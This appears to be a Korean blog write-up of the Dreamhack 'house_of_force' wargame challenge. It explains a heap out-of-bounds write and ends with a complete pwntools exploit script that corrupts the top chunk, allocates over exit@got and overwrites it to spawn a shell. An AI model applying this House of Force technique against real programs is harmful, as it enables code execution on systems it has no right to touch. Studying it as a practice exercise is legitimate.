보호기법 확인
1번 메뉴: create
signed int __cdecl create(signed int a1)
{
size_t size; // [esp+0h] [ebp-8h]
unsigned int v3; // [esp+4h] [ebp-4h]
v3 = __readgsdword(0x14u);
if ( a1 > 10 )
return 0;
printf("Size: ");
__isoc99_scanf("%d", &size);
ptr[a1] = malloc(size);
if ( !ptr[a1] )
return -1;
printf("Data: ");
read(0, ptr[a1], size);
printf("%p: %s\n", ptr[a1], ptr[a1]);
return 0;
}
- size 입력
- 입력한 size 만큼 청크 할당해서 힙 포인터를 전역변수 ptr에 저장
- 할당한 힙 청크에 데이터 입력
- 힙 주소 출력
2번 메뉴: write_ptr
signed int write_ptr()
{
int v1; // [esp+0h] [ebp-10h]
int v2; // [esp+4h] [ebp-Ch]
int v3; // [esp+8h] [ebp-8h]
unsigned int v4; // [esp+Ch] [ebp-4h]
v4 = __readgsdword(0x14u);
printf("ptr idx: ");
__isoc99_scanf("%d", &v1);
if ( v1 > 10 || v1 < 0 )
return -1;
printf("write idx: ");
__isoc99_scanf("%d", &v2);
if ( v2 > 100 || v2 < 0 )
return -1;
printf("value: ");
__isoc99_scanf("%u", &v3);
*((_DWORD *)ptr[v1] + v2) = v3;
return 0;
}
- 힙 포인터로부터 인덱스만큼 떨어진 곳에 value를 입력할 수 있다.
- 따라서 힙 청크 한 개 할당 후 2번 메뉴에서 topchunk size까지 거리를 계산해서 topchunk size를 2^32-1로 조작할 수 있다.
익스 시나리오
(1) 청크 할당
- 출력해준 힙 주소로 topchunk 주소 계산 (이후 malloc size 계산 위해 필요하다.)
(2) 2번 메뉴에서 청크에서 topchunk까지 인덱스 계산해서 topchunk size에 2^32-1 값 입력한다.
ptr idx: 0
idx: 5
value: 0xffffffff
topchunk size가 덮힌 것을 확인할 수 있다.
(3) malloc size = 2^32-1 & (원하는 주소 - topchunk 주소 - 0x8)
- 주소 계산 후 32비트에서는 2^32-1와 & 계산을 안 해도 된다. (64비트는 2^64-1과 & 계산 필요)
- 1번 메뉴에서 계산한 malloc size만큼 청크 할당한다. 32bit는 계산 시 0x10이 아닌 0x8(메타데이터(prev_size, size))을 뺀다.
- 이후 원하는 주소에서 청크를 할당할 수 있다.
- 원하는 주소: exit@got
할당 후 got 부분에서 힙 청크가 할당되어 있는 것을 확인할 수 있다.
(4) 한번 더 할당
- exit got에서 할당받는다.
- 이때 데이터로 get_shell 함수 주소를 주면 got overwrite이 가능하다.
계속 exit 위치는 잘 안 돼서...그냥 malloc 위치에 데이터를 입력받을 수 있을 때 get shell로 덮기로 했다.
(5) 1번 메뉴 size까지 주면 쉘 획득
익스코드
#!/usr/bin/python
from pwn import *
context.log_level = 'debug'
p = remote("host1.dreamhack.games", 8251)
#p = process("./house_of_force")
elf = ELF("./house_of_force")
ptr = elf.symbols['ptr']
get_shell = elf.symbols['get_shell']
exit_got = elf.got['exit']
def create(size, data):
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(size))
p.sendlineafter("Data: ", data)
def write(ptr_idx, idx, value):
p.sendlineafter("> ", '2')
p.sendlineafter("ptr idx: ", str(ptr_idx))
p.sendlineafter("write idx: ", str(idx))
p.sendlineafter("value: ", str(value))
create(0x10, 'A'*0x10)
heap_addr = int(p.recv(9), 16)
log.info("heap_addr: "+hex(heap_addr))
topchunk_size_addr = heap_addr+20
log.info("topchunk_size_addr: "+hex(topchunk_size_addr))
# overwrite topchunk size to 2^32-1
write(0, 5, 0xffffffff)
malloc_size = exit_got - topchunk_size_addr-0x8-0x4-0x4-0x4
create(malloc_size, "")
# malloc on exit@got, GOT overwrite
#gdb.attach(p)
create(4, p32(get_shell))
p.sendlineafter("> ", '1')
p.sendlineafter("Size: ", str(0x8))
p.interactive()
[Dreamhack] basic_heap_overflow (0) | 2020.07.08 |
---|---|
[Dreamhack] memory_leakage (0) | 2020.07.08 |
[Dreamhack] tcache dup (0) | 2020.06.12 |
[Dreamhack] house_of_spirit (0) | 2020.06.12 |
[DreamHack] hook (0) | 2020.05.31 |